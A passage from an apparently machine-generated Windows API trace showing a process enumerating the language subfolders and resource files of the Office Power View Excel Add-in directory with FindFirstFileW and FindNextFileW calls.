ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.642] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16140cde, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.642] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x196cd32, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x196cd32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1618d1a2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.642] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x514e0d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x514e0d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5174318, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.642] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.642] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1de43d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4910, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.642] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16140cde, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f05e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.tr.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.643] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16140cde, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f05e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.tr.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.643] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.644] GetProcessHeap () returned 0xaf0000 [0280.644] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.644] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1 [0280.644] GetProcessHeap () returned 0xaf0000 [0280.644] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\uk\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0280.646] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.647] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48cfa7d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48cfa7d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16546d20, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.647] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.647] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc240ad7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc240ad7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.647] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b9ee02, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7bc5054, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.647] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161ff8f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.uk.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.647] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161ff8f9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.uk.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.647] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0280.649] GetProcessHeap () returned 0xaf0000 [0280.649] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.649] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1 [0280.649] GetProcessHeap () returned 0xaf0000 [0280.649] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\vi\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.650] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.650] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x161d962a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.650] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa5581c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa68949f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.650] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf637b042, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf637b042, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf637b042, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.651] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa531f86, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.651] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f7f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.vi.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.651] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x161d962a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x161d962a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f7f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.vi.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.651] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.652] GetProcessHeap () returned 0xaf0000 [0280.652] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.652] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1 [0280.652] GetProcessHeap () returned 0xaf0000 [0280.652] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0280.653] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.653] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc0ab8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.653] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a0a7fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a0a7fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a0a7fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.654] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.980] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6297232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6297232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6297232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.980] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e757, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.zh-CHS.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.980] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e757, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.zh-CHS.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.980] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0280.981] GetProcessHeap () returned 0xaf0000 [0280.981] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.981] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1 [0280.981] GetProcessHeap () returned 0xaf0000 [0280.981] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0280.982] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.982] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164d461d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc1040, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0280.982] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf47e9c8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.982] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb8b74ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb8b74ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb8dd674, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.983] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5101cbd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5127e7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.983] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, 